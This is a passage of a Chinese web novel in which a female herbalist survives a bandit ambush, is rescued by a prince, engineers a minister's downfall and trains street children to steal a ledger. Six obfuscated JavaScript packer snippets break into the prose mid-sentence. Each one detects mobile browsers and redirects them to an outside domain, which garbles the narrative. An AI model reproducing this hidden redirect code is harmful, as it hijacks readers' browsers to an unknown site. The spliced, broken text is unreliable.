姜绾歌掀开车帘往外看去,只见一个花白胡子的老汉正蹲在院子里,面前堆着一堆发黑的黄芪。那些药材明显已经霉变了,散发着难闻的霉味。 这就是被仁德堂压价的药农?她皱着眉头问道。 就是他,阿福叹了口气,老赵种了一辈子药材,今年的黄芪本来品质不错,结果仁德堂硬是把价格压到三文钱一斤。老赵不肯卖,结果拖到现在全霉了。 姜绾歌看着那堆霉变的药材,心中怒火直冒。仁德堂这帮王八蛋,简直是丧尽天良!压榨药农也就罢了,还要断人财路! 停车!她厉声道。 骡车在老赵家门前停下,姜绾歌跳下车走了过去。老赵抬头看见陌生人,连忙站起身来。 老伯,我是杏林堂的姜绾歌,她开门见山地说,听说您这里有黄芪要卖? 黄芪?老赵苦笑着摇头,姑娘您看,都成这样了,哪还能卖? 姜绾歌蹲下身仔细查看那些药材。虽然表面有些霉变,但内里还是好的,只要处理得当,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983160|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部分还能用。 老伯,这些药材我全要了,她直起身说道,按照市价,八文钱一斤。 什么?老赵以为自己听错了,姑娘,这些都霉了,您确定要? 确定!姜绾歌斩钉截铁,不过我有个条件,咱们签个三年的包销契约。以后您种的黄芪,我全包了,价格比仁德堂高一倍! 老赵听了这话,激动得直哆嗦:姑娘...您...您说的是真的? 当然是真的!姜绾歌从怀里掏出银票,这是三成订金,先拿着。契约我明天就让人送来。 她将银票塞到老赵手里,后者看着手中厚厚的银票,眼泪都快掉下来了。 姑娘,您真是活菩萨啊!老赵噗通一声跪了下来,救了我全家的命! 快起来快起来!姜绾歌连忙扶起他,咱们都是做生意的,互惠互利而已。 她心里却在盘算着另一笔账。仁德堂靠压榨药农获取暴利,她要是能拉拢更多的药农,不但能保证药材供应,还能断了仁德堂的财路。一举两得! 阿福,装车!她吩咐道,把能用的药材都挑出来! 阿福带着几个伙计开始忙活,将那些还能抢救的黄芪装上车。虽然工作量不小,但想到能狠狠打击仁德堂,大家都干劲十足。 天色渐暗,装车工作才完成。骡车装得满满当当,压得车轴都嘎吱作响。 东家,咱们该回城了,阿福看了看天色,再晚就不安全了。 走吧,姜绾歌爬上车,向老赵挥手告别,老伯,明天契约就送来! 骡车缓缓启动,在夕阳的余晖中驶向回城的山路。这条路姜绾歌走过几次,平时虽然偏僻,但还算安全。 然而今天,她却隐隐感觉有些不对劲。 阿福,她压低声音说,有没有觉得路上**静了? 阿福竖起耳朵听了听,确实,平时路上总能听到鸟叫虫鸣,今天却静得出奇。 东家,要不咱们...他的话还没说完,前方的黑松林里突然传来一声尖啸! 第167章 半路** 咻——! 一支羽箭破空而来,直奔赶车的阿福! 小心!姜绾歌眼疾手快,一把将阿福拉倒。羽箭擦着他的头皮飞过,钉在车厢上,箭尾还在颤动! 山匪!阿福脸色煞白,东家快跑! 话音未落,林中冲出七八个蒙面大汉,个个手持钢刀,恶狠狠地围了上来。 留下货物,饶你们不死!为首的大汉声音嘶哑,否则格杀勿论! **!姜绾歌气得直咬牙,光天化日之下竟敢拦路**! 她从袖中掏出银针,寒光闪闪:想要老娘的货?先过了我这关再说! 哟,还是个有种的小娘子,为首大汉狞笑道,兄弟们,给脸不要脸,那就别怪咱们不客气了! 山匪们举刀就要上前,受惊的骡子嘶鸣一声,突然狂奔起来! 啊——!姜绾歌被巨大的惯性甩得差点飞出车外,死死抓住车帮才没掉下去。 骡车在山路上疯狂颠簸,车上的黄芪散了一地。眼看前方就是一个大弯道,如果冲过去必定车毁人亡! 千钧一发之际,姜绾歌咬牙从袖中掏出一把银针,对准骡子的穴位猛然刺去! 定! 银针精准命中骡子的安神穴,受惊的畜生立刻安静下来,车子终于停住了。 然而还没等她松一口气,那些山匪已经追了上来。 跑得了和尚跑不了庙!为首大汉举刀逼近,识相的就乖乖交出货物! 交你个头!姜绾歌从车上跳下来,手中银针寒光闪烁,有本事就来抢! 她话音刚落,忽然听到远处传来整齐的马蹄声。片刻后,一队身穿甲胄的士兵从林中冲出,为首的正是顾云霁! 他今日身穿黑色战甲,腰佩长剑,整个人散发着凌厉的杀气。看到被围困的姜绾歌,他眼中闪过一丝厉色。 大胆山匪!光天化日之下竟敢劫掠!他厉声喝道,全部拿下! 是!士兵们齐声应道,瞬间将山匪们团团围住。 那些山匪见势不妙,想要逃跑却已经来不及了。不过一盏茶的功夫,七八个山匪就全被生擒。 王爷!为首山匪见到顾云霁,顿时吓得魂飞魄散,饶命啊!我们有眼不识泰山! 现在知道怕了?晚了!顾云霁冷笑一声,来人,搜查他们身上的东西! 士兵们很快搜出一些银票和书信,其中一封信上赫然写着仁德堂三个字。 果然,顾云霁看了信的内容,眉头紧锁,又是仁德堂的好事! 他将信递给副将:这些人不是山匪,是仁德堂雇佣的打手!专门来对付姜大夫的! 姜绾歌听了这话,气得浑身发抖:那帮王八蛋!竟然雇人来杀我! 不止如此,顾云霁又从山匪身上搜出一张纸条,他们还截获了一辆运送滇三七的镖车,准备嫁祸给山匪。 话音未落,远处又传来车轮声。几个士兵押着一辆装满珍贵药材的车子走了过来。 王爷,这些三七都是上品,副将汇报道,按理说应该没收充公。 充公?姜绾歌眼睛一亮,那这些药材... 按照律法,剿匪所得的财物归京兆尹处理,顾云霁看向她,眼中带着一丝玩味,不过鉴于姜大夫是受害者,这批药材可以优先转售给杏林堂。 真的?姜绾歌激动得差点跳起来,那太好了! 这批滇三七价值不菲,足够她大赚一笔了! 不过,顾云霁忽然走到她面前,那双桃花眼中带着一丝她看不懂的情绪,我说过,你的"平安包"保不了自己平安。 他伸出手想要扶她,声音中带着一丝不易察觉的紧张和后怕:下次出门,带足人手,或者...提前知会我。 姜绾歌看着他伸过来的手,心头莫名一颤。刚才那一瞬间,她真的以为自己要**,可是他偏偏在最关键的时候出现... 又是"巧合"?她避开他的手,自己站起来,心跳却因刚才的惊险和他眼中未褪的厉色而不受控制地加速,王爷跟踪我? 顾云霁没有否认,只是静静看着她。夕阳的余晖洒在他身上,给那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998388|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英俊的脸蒙上一层金辉。 他忽然抬手,拇指轻轻擦去她脸颊上沾染的一点尘土。这个动作很自然,却让姜绾歌整个人都僵住了。 他的手指很温暖,触碰到皮肤的地方仿佛有电流通过。姜绾歌想要躲开,身体却不听使唤。 关心则乱,顾云霁的声音很轻,却字字清晰地传入她耳中,姜绾歌,你的命,很值钱,别轻易丢了。 这句话说得轻描淡写,但姜绾歌却听出了其中的深意。她抬头看向他,想要从他的眼中读出什么,但那双桃花眼深邃如潭,让人看不透。 我...我的命值不值钱关王爷什么事?她强撑着说道,声音却有些发颤。 当然有关系,顾云霁收回手,嘴角勾起一丝若有若无的笑意,本王还指望着收回那个人情呢。 人情?姜绾歌愣了一下,想起之前他帮自己打入贵妇圈的事,哦,那个啊... 就是那个,顾云霁点头,所以你可不能死,至少...在还清人情之前不能死。 虽然这话说得很轻松,但姜绾歌却感觉到了他话语中的另一层含义。这个男人,总是用这种半真半假的方式表达着什么。 王爷放心,她没好气地说,我命硬得很,阎王爷都收不走我! 那就好,顾云霁笑了,本王也是这么想的。 夕阳西下,山道上的危机已经解除。那些山匪被五花大绑押走,姜绾歌的药材也安然无恙。更重要的是,她还意外得到了一车珍贵的滇三七。 东家,咱们该回城了,阿福在一旁提醒道。 嗯,走吧。姜绾歌点头,指尖无意识摩挲着袖中银针,今日谢过王爷。 客气什么,顾云霁策马与她并行,马蹄踏碎满地残阳,不过是顺手清剿些跳梁小丑。他忽然侧头,桃花眼在暮色中泛着琥珀光,下次若再遇到这种事—— 知道知道,姜绾歌截住他的话头,第一时间通知你,让王爷的铁骑踏平他们。她晃了晃手中从山匪身上搜出的滇三七,这批药材我按市价收购,算是劳务费如何? 第168章 女子参政观念 顾云霁忽然笑出声:姜老板这算盘打得精。他驱马前行几步,又回头道,不过本王要三成干股。 做梦!姜绾歌扬鞭催马,两成,爱要不要。 山风卷起两人的衣摆,阿福在车辕上听得目瞪口呆。这哪里像是刚刚经历生死的场面?倒像是市井巷陌的讨价还价。 成交。顾云霁勒住马缰,看着骡车扬尘而去的背影,嘴角笑意渐深。副将忍不住开口:王爷,咱们真要参股药铺? 参股?顾云霁拨转马头,本王要的是——他望着远处暮色中的京城,与姜老板并肩的位置。 东家?阿福小心翼翼地叫道。 姜绾歌回过神来,赶车吧。 她的声音被风吹得有些散,车轮碾过碎石,惊起几只归巢的麻雀。 姜绾歌靠在车帮上,脑海中却不断浮现出顾云霁的身影。 这个男人,到底在她心中是什么位置? 就像这味黄芪,有人用来补气,有人拿去染色,而顾云霁于她,大约是味需得谨慎配伍的虎狼。 明知性烈走窜,却偏生在药柜最顺手的抽屉里,每次取药时指尖擦过标签,都提醒着她这味药的毒性与不可或缺。 骡车在暮色中颠簸前行,姜绾歌望着天边逐渐沉下去的落日,忽然想起顾云霁翻身上马时,披风下摆扫过她手背的那瞬。 原来黑色甲胄下的内衬,是与她药铺幌子同色的杏黄。 别胡思乱想了!她在心里狠狠骂自己,人家只是不想失去一个有用的合作伙伴而已! 骡车在夜色中缓缓驶向京城,车轮碾过石子的声音在寂静的山道上回响。 翌日,醉仙楼二楼的雅间里,姜绾歌端着茶盏,目光透过窗棂看着对面茶楼里的说书先生。那人正在台上慷慨激昂地讲着故事,台下听众聚精会神。 ...话说皇后昭德娘娘,不但貌美如花,更是智慧过人。当年漕运改制,正是她在幕后出谋划策,这才让大唐国库充盈,百姓安居乐业... 说书人的声音洪亮,每个字都清楚地传到姜绾歌耳中。她嘴角勾起一丝满意的笑容,这个故事改得不错,既没有太过直白,又能让人联想到女子参政的好处。 东家,那说书的收了咱们十两银子,保证讲一个月呢。阿福在一旁小声汇报,现在满京城的茶楼都在传这个版本的昭德皇后故事。 很好,姜绾歌点点头,潜移默化最是厉害。等这故事传开了,大家就会觉得女子理政也不是什么奇怪的事了。 她心里盘算着,现在顾铭轩马上就要回京了,到时候肯定又要逼她表态。 如果能提前营造一些**氛围,让大家接受女子参政的观念,对她将来的选择会有好处。 正想着,楼下传来一阵喧哗声。姜绾歌往下一看,原来是兵部的李主事又来喝酒了,而且看样子已经喝得不少了。 ...**!李主事的声音带着明显的醉意和怒气,说好的五百两冰敬,硬是被那老狐狸克扣了二百两!老子辛辛苦苦干了一年,就这点好处都要被扣? 李兄慎言啊,同桌的人连忙劝道,万一被人听见... 听见就听见!李主事越说越激动,老子怕什么?那孙子坐在尚书位子上作威作福,老子早晚要... 他的话还没说完,就被同伴强行拉住了。但姜绾歌已经听得清清楚楚,心中暗喜。 阿福,她压低声音叫道,你记下了吗? 阿福连忙点头,在纸上画了个三角形,又画了个圆圈,然后标注了李主事、冰敬、二百两几个字。 好!姜绾歌满意地点头,这就是有用的情报。李主事对上司有怨恨,而且涉及****,这可是大料! 她眼珠一转,心中已经有了计策。这个李主事既然有把柄在上司手里,那她就帮他一把,让他反制一下。这样不但能收买人心,还能搅乱兵部的水,一举两得。 阿福,你去厨房准备一锅醒酒汤,要最好的那种。她吩咐道。 醒酒汤?给谁的?阿福不解。 当然是给咱们的李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998389|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主事,姜绾歌神秘一笑,不过要以秋姨娘的名义送过去。就说是她听说李主事酒后身体不适,特意让人送的。 阿福似懂非懂地点头,很快就去准备了。 姜绾歌则拿出纸笔,开始写一封密信。她用的是矾水写字的方法,在普通纸上看不出字迹,但用火一烤就会显现出来。 证在旧靴夹层——她只写了这么一句话,然后将信纸夹在醒酒汤的托盘底下。 很快,阿福就端着醒酒汤下楼去了。他走到李主事桌边,恭敬地说道:李大人,这是永昌伯府秋姨娘让小的送来的醒酒汤,说是您酒后伤身,特意准备的。 秋姨娘?李主事醉眼朦胧,她...她怎么知道我在这里? 姨娘说府中常有客人来醉仙楼,知道您是这里的常客。阿福应对自如,请您趁热喝了吧。 李主事接过醒酒汤,一饮而尽。阿福趁机将那张纸条塞到他手里,然后快速离开。 李主事拿着纸条,酒醒了几分。他仔细看了看,只见纸上空白一片,什么都没有。 这是什么?他嘀咕道。 回到家中,李主事还是觉得那张纸条有古怪。他想起年轻时听说过矾水写字的方法,于是拿到蜡烛上一烤。 果然,纸上显现出了字迹:证在旧靴夹层。 李主事看着这几个字,心头狂跳。他想起前些日子无意中看到上司藏银票的地方,正是在一双旧靴子的夹层里! 难道...他激动得浑身发抖,有人要帮我? 三天后的上午,兵部衙门外。 李主事穿着一双看起来很旧的靴子,在门口来回踱步,显得有些紧张。 很快,兵部尚书的轿子就到了。尚书是个五十多岁的胖子,平时对下属颐指气使,李主事早就看他不顺眼了。 李主事,尚书从轿子里出来,看到李主事在门口,不满地说道,大清早的在这里做什么? 下官...下官有要事禀报!李主事装作很激动的样子,关于漕运的事情! 第169章 幕后推手 漕运?尚书皱眉,有什么急事非要在这里说? 事关重大,不得不说!李主事故意提高声音,引起周围人的注意,大人,您可知道漕运银两被人中饱私囊了? 胡说八道!尚书脸色大变,你有什么证据? 证据?李主事冷笑一声,下官当然有证据! 他故意用力一跺脚,那双旧靴子应声而破,露出了里面的夹层。几张银票飘洒出来,在晨风中飞舞。 这...这是什么?尚书脸色煞白。 围观的人们纷纷捡起银票查看,只见上面写着漕运司专用字样,金额都是几百两的大票。 这就是证据!李主事大声说道,这些银票是从尚书大人府中搜出来的!都是漕运的**! 你...你血口喷人!尚书慌乱地否认。 血口喷人?李主事冷笑,大人,您敢让大家搜查您的府邸吗? 围观的人群越来越多,议论声此起彼伏。很快,这个消息就传遍了整个京城。 醉仙楼的雅间里,姜绾歌听着阿福汇报今天早上发生的事,心中得意极了。 东家,您这一招真是绝了!阿福佩服得五体投地,李主事现在成了反腐英雄,尚书大人却成了过街老鼠! 这叫以彼之道还施彼身,姜绾歌得意地说,让他们狗咬狗去吧。 她拿出一本特制的册子,开始记录今天收集到的情报。这本册子是她专门定制的,封面用的是上好的蓝色丝绸,看起来雅致大方。 册子的一角还有个特殊的印记,那是用特制墨锭留下的。这个墨锭是顾铭轩送给她的,说是宫中特制,墨色深沉持久。 姜绾歌一边记录,一边下意识地摩挲着那个印记。她想起顾铭轩曾经对她说过的话:小吏之怨,可窥大吏之贪。 当时她还不太理解这句话的深意,现在却体会得淋漓尽致。通过观察下级官员的怨恨情绪,确实能够发现上级的**行为。 想到顾铭轩,她心中又是一阵复杂。这个男人教给她很多东西,但现在却要逼她做出选择。到底该怎么办呢? 正当她沉思的时候,雅间的门忽然无声无息地推开了。姜绾歌警觉地抬头,就看到顾云霁如鬼魅般出现在门口。 他今天穿了件白色锦袍,腰间系着碧玉佩,整个人看起来雅致如玉。那双桃花眼正似笑非笑地看着她,目光落在她手中的册子上。 睹物思人?他踱步走了进来,声音带着惯有的慵懒,陛下教导有方。 姜绾歌心头一惊,连忙合上册子,冷声道:王爷不请自来,有何贵干? 顾云霁也不客气,自顾自地在对面坐下,目光在她手中的册子上停留了一瞬:本王只是路过,听说醉仙楼今日很是热闹。 热闹?姜绾歌心中警铃大作,王爷指的是什么? 兵部的那点破事啊,顾云霁漫不经心地说,李主事举报上司**,闹得满城风雨。这种好戏,本王怎么能错过? 他的目光又扫向姜绾歌手中的册子,了然一笑:不过最精彩的,应该是幕后的推手吧? 姜绾歌被他看得心虚,强自镇定地说:王爷在说什么?我听不懂。 听不懂?顾云霁眼中闪过一丝玩味,姜老板这几日买通说书人,改编《昭德皇后漕运改制》的故事,隐射女子理政之能。今日又巧妙利用李主事的怨恨,扳倒兵部尚书。 他顿了顿,意味深长地说:"贤后辅政"...姜老板志向不小啊。 姜绾歌被他说中了心事,脸色微变:王爷想多了,我只是个开药铺的,哪有什么志向? 是吗?顾云霁不置可否,不过,想学贤后,也得先找个"明君"不是? 这句话如同利剑般刺中姜绾歌的要害。她握着册子的手微微发紧,心中五味杂陈。 王爷这话什么意思?她努力保持冷静。 没什么意思,顾云霁站起身来,只是有感而发。 他走到门口,又回头看了她一眼:对了,本王听说陛下已经到了城外行宫,明日就要入宫了。姜老板...准备好了吗? 这句话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008793|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,他就飘然离去,留下姜绾歌一个人坐在雅间里,心情如同打翻了五味瓶。 顾云霁的话句句戳中要害。她确实有野心,想要在这个时代闯出一番事业。但是要实现这个目标,确实需要一个强有力的靠山。 顾铭轩无疑是最好的选择,他是皇帝,有绝对的权力。但是... 她看着手中的册子,想起刚才顾云霁看向这本册子时的眼神。那眼神里有探究,有了然,还有一丝她看不懂的情绪。 这个男人太聪明了,什么都瞒不过他。而且他刚才那句想学贤后,也得先找个明君,分明是在暗示什么。 难道他认为顾铭轩不是明君?还是...他在暗示自己? 姜绾歌摇摇头,甩掉这些胡思乱想。现在最重要的是,明天顾铭轩就要回宫了,她必须想好如何应对。 是继续拖延,还是给出明确的答案? 她看着窗外的夕阳,心中纠结万分。这个选择,将决定她的一生... 夜色深沉,杏林堂后院的柴房里点着几盏油灯,昏黄的光影在墙壁上跳跃着。姜绾歌坐在一张破旧的木桌前,面前站着石头、二狗、小三子,还有新收的两个小乞丐,一共五个孩子。 都给我坐好了!姜绾歌拍了拍桌子,从今天开始,老娘要教你们真本事! 五个孩子乖乖坐下,眼中都闪烁着兴奋的光芒。对他们来说,能有人教他们读书识字,简直就是天大的恩典。 首先,我要教你们算术,姜绾歌在地上画了几个数字,做买卖最重要的是什么?是算账!不会算账的商人,早晚要被人坑死! 她指着地上的数字:看好了,一个药包成本二文,卖三文,利润是多少? 石头举手:一文! 对!姜绾歌满意地点头,那如果一天卖一百个药包,总利润是多少? 一百文!几个孩子异口同声。 很好!那如果原料涨价了,成本变成二文五,还是卖三文,利润呢? 五厘!小三子抢着回答。 第170章 训练武艺 聪明!姜绾歌越来越兴奋,这就是利润核算的基础。你们以后跟着我,这些都得烂熟于心! 接下来,她又开始教他们药材的基础知识。从常见的药材特性,到简单的毒性判断,每一样都讲得详细入微。 这是巴豆,她拿起一颗黑色的种子,有小毒,能致泻。少量服用可以通便,过量就会**昏迷。 这是断肠草,她又拿起另一种药材,剧毒!误食必死!你们要记清楚它的样子,千万别搞错! 五个孩子听得目瞪口呆,没想到平时看起来不起眼的药草,竟然有这么多门道。 姐姐,石头小心翼翼地问,这些**...我们学来干什么? 防身!姜绾歌冷笑一声,这世道不太平,多学点保命的技能总没错。而且... 她的眼中闪过一丝狡黠:万一遇到不长眼的敌人,也好让他们尝尝厉害! 正说着,柴房外忽然传来脚步声。姜绾歌警觉地抬头,就见一个身材魁梧的中年汉子推门而入。 那人穿着简单的布衣,但浑身散发着凌厉的杀气,一看就是久经沙场的老兵。 您就是姜大夫?那人抱拳行礼,在下赵闯,奉王爷之命,前来教导这些孩子武艺。 王爷?姜绾歌愣了一下,哪个王爷? 云霁王爷,赵闯老实回答,王爷说这些孩子跟着您做事,总要有点保命的本事。 姜绾歌听了这话,心中五味杂陈。顾云霁这家伙,总是在她意想不到的时候插手她的事情。不过这次倒是好事,她正愁怎么训练这些孩子呢。 那就有劳赵兄了,她点头道,这几个小家伙就交给你了。 好嘞!赵闯撸起袖子,看向那五个孩子,小子们,从今天开始,老子就是你们的教头!想学真本事,就得吃苦! 他的声音洪亮如雷,震得孩子们都是一哆嗦。 现在开始第一课,赵闯指着院子里的空地,擒拿格斗!都给我站好了! 五个孩子战战兢兢地站成一排,等着接受训练。 看好了!赵闯做了个示范动作,这是最基本的格挡招式,手臂这样抬起,身体要稳... 话还没说完,石头就迫不及待地模仿起来。结果动作变形,一个踉跄差点摔倒。 不对!赵闯大喝一声,重来! 接下来的时间里,柴房外面不断传来摔倒的声音和孩子们的叫苦声。姜绾歌在屋里听着,既心疼又欣慰。 这些孩子从小流落街头,身子骨本来就弱,现在要学武艺确实辛苦。但是在这个乱世,没有自保能力迟早要吃亏。 姐姐,小三子哭丧着脸跑进来,我摔得屁股都疼了... 疼就对了!姜绾歌没好气地说,不吃苦怎么能成才?再去练! 可是...小三子还想撒娇。 可是什么?姜绾歌瞪眼,老娘当年学扎针的时候,手指头扎破了多少次?有叫过苦吗? 小三子被她一瞪,立刻灰溜溜地跑回去继续训练了。 训练一直持续到深夜,五个孩子累得瘫在地上,但眼中却闪烁着兴奋的光芒。对他们来说,这是人生中第一次接受正规的训练,虽然辛苦但充满希望。 好了,今天就到这里,赵闯收了手,明天继续。记住,想要保护重要的人,就得让自己变强! 他这话说得意味深长,姜绾歌听了,心中微微一动。 赵闯离开后,姜绾歌看着这些累得半死的孩子们,心中忽然生出一个想法。 石头,你们几个过来,她叫道,我给你们布置个任务。 五个孩子强打精神围过来,等着听她的吩咐。 今夜,我要你们偷偷翻越后院的高墙,潜入醉仙楼的库房,姜绾歌压低声音说,把账房的账本偷出来。 偷账本?石头瞪大眼睛,为什么? 这是考核!姜绾歌严肃地说,成功的人有肉包吃,有银钱赏。失败的...她冷笑一声,罚洗恭桶一个月! 几个孩子听了这话,顿时精神抖擞。肉包和银钱固然诱人,但洗恭桶实在太可怕了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008794|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姐姐,那墙有两丈高呢,二狗担心地说,万一摔下来... 摔下来也得爬起来继续!姜绾歌毫不留情,做我的人,就得有这点胆识! 她忽然从腰间抽出一把锋利的**,用力掷向院中的木桩。噗嗤一声,**深深钉入木桩,刀柄还在轻微颤动。 看见了吗?她冷冷地说,失手便是此下场!所以你们最好小心点,别被人发现了! 五个孩子看着那把钉在木桩上的**,都咽了咽口水。他们知道,姐姐这是在警告他们,也是在保护他们。 明白了吗?姜绾歌问道。 明白了!五个孩子齐声回答。 好,那就开始行动吧! 夜色更深了,五个小小的身影悄悄摸向后院的高墙。姜绾歌站在柴房门口,目光紧紧盯着他们的一举一动。 这些孩子虽然年纪小,但在街头混久了,身手都很灵活。很快,石头就第一个成功翻过了高墙。 不错,姜绾歌心中暗赞,这小子确实有天赋。 接下来是二狗和小三子,虽然费了些力气,但也成功翻了过去。剩下的两个新人稍微慢一些,但最终也都成功了。 很好,姜绾歌满意地点头,看来今晚有肉包吃了。 正当她准备回屋等结果的时候,身后忽然传来熟悉的声音: 如何?我的人,比陛下留在京中的暗卫...更合用吧? 姜绾歌心头一跳,回头就看到顾云霁不知何时已经站在她身后。他今夜穿了件深色的袍子,整个人融入夜色中,如果不仔细看根本发现不了。 王爷这是在试探什么?姜绾歌冷冷地问道。 试探?顾云霁走到她身边,与她并肩而立,目光看向远处的高墙,本王只是好奇,姜老板对陛下的依赖有多深。 这话说得很轻,但姜绾歌却听出了其中的深意。她知道顾云霁在暗示什么,但她不想接这个茬。就在这时,远处传来轻微的响动。很快,五个孩子就从墙那边翻了回来,手里还拿着一本账册。 第171章 贵妇圈 姐姐!成功了!石头兴奋地跑过来,账本拿到了! 很好!姜绾歌接过账本,满意地点头,你们都表现得不错。明天每人赏肉包三个,银钱二十文! 五个孩子听了这话,高兴得手舞足蹈。 看来姜老板调教有方,顾云霁在一旁评价道,这几个小家伙确实有潜力。 那是自然,姜绾歌得意地说,老娘选人的眼光,向来不错。 顾云霁看着这几个孩子,眼中闪过一丝赞赏:不过,光有这点本事还不够。真正的较量,可比翻墙偷东西复杂多了。 王爷的意思是? 本王的意思是,顾云霁转身看向她,眼神变得深邃,风暴就要来了。姜老板准备好了吗? 姜绾歌听了这话,心中猛地一跳。她知道顾云霁指的是什么——顾铭轩明天就要回京了! 我...她刚想说什么,忽然意识到顾云霁的存在对她来说意味着什么。 这个男人,此刻竟然成了一种微妙的挡箭牌!如果顾铭轩回来后要逼她表态,她或许可以用顾云霁来争取时间和空间... 想到这里,她心中忽然有了一个大胆的计划。 王爷,她忽然开口,如果有一天,我需要你帮忙,你会帮吗? 这要看是什么忙,顾云霁饶有兴致地看着她,不过,本王向来不喜欢做亏本买卖。 放心,绝对不会让王爷吃亏的,姜绾歌意味深长地说。 两人的对话充满了机锋,空气中弥漫着微妙的张力。 夜风吹过,带起姜绾歌鬓角的发丝。她看着远处的夜空,心中既紧张又兴奋。 明天,顾铭轩就要回来了。那个无法回避的选择,终于要到来了... 但是现在,她至少有了一个备选方案。 顾云霁这张牌,或许能在关键时刻派上用场。 想到这里,她不禁冷笑一声。 早晨的阳光透过杏林堂的窗棂洒进来,姜绾歌正在柜台后整理新到的药材。经过这些天的努力,她的生意已经稳定下来,三文药包在京城渐有名气,高档的玫瑰凝露也在贵妇圈中传开了。 一切都在按照她的计划进行着。 然而,平静往往只是暴风雨前的征兆。 咚咚咚! 急促的敲门声忽然响起,打破了午后的宁静。姜绾歌抬头看去,只见门外站着十几个身穿官服的衙役,为首的是个满脸横肉的胖子,手里还拿着什么东西。 开门!京兆府办案! 胖衙役的声音粗暴难听,吓得正在抓药的几个客人纷纷后退。 姜绾歌心中警铃大作,但面上依然镇定。她缓缓走向门口,冷声问道:官爷找我有何事? 有何事?胖衙役冷笑一声,从怀里掏出一张封条,有人举报你杏林堂无证行医,坑害百姓!现在要查封这里! 无证行医?姜绾歌冷笑,谁说我无证了? 她转身回到柜台,从抽屉里取出一份文书,那是市舶司核发的药材商契。 这是市舶司亲自核发的药材商契,她将文书举起给众人看,上面明明白白写着允许经营药材买卖。官爷看清楚了吗? 胖衙役接过文书看了看,脸色有些难看。这份商契确实是真的,上面还盖着市舶司的大印。 这...这只是药材买卖的许可,他强词夺理,又不是行医的许可!你给人看病开药,那就是无证行医! 围观的百姓开始议论纷纷,有人为姜绾歌鸣不平: 姜大夫医术高明,救了不少人呢!对啊,我儿子的风寒就是她治好的!一定是有人在搞鬼! 但也有人幸灾乐祸: 早就说了,一个女人家开药铺不靠谱!三文钱的药能有什么好货? 姜绾歌听着这些议论,心中怒火直冒。她知道这肯定是仁德堂的报复,但现在最重要的是先化解眼前的危机。 官爷,她强压怒火,我姜绾歌行医济世,从未害过任何人。如果官爷一定要查封,那请拿出具体的罪证来! 罪证?胖衙役狞笑,你无证行医就是最大的罪证!来人,贴封条! 几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010410|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙役立刻上前,要往杏林堂的门上贴封条。姜绾歌急了,正要阻拦,忽然听到远处传来急促的脚步声。 慢着! 一个尖细的声音从人群后传来,所有人都回头看去。只见一个五十多岁的嬷嬷气喘吁吁地跑了过来,身后还跟着几个丫鬟。 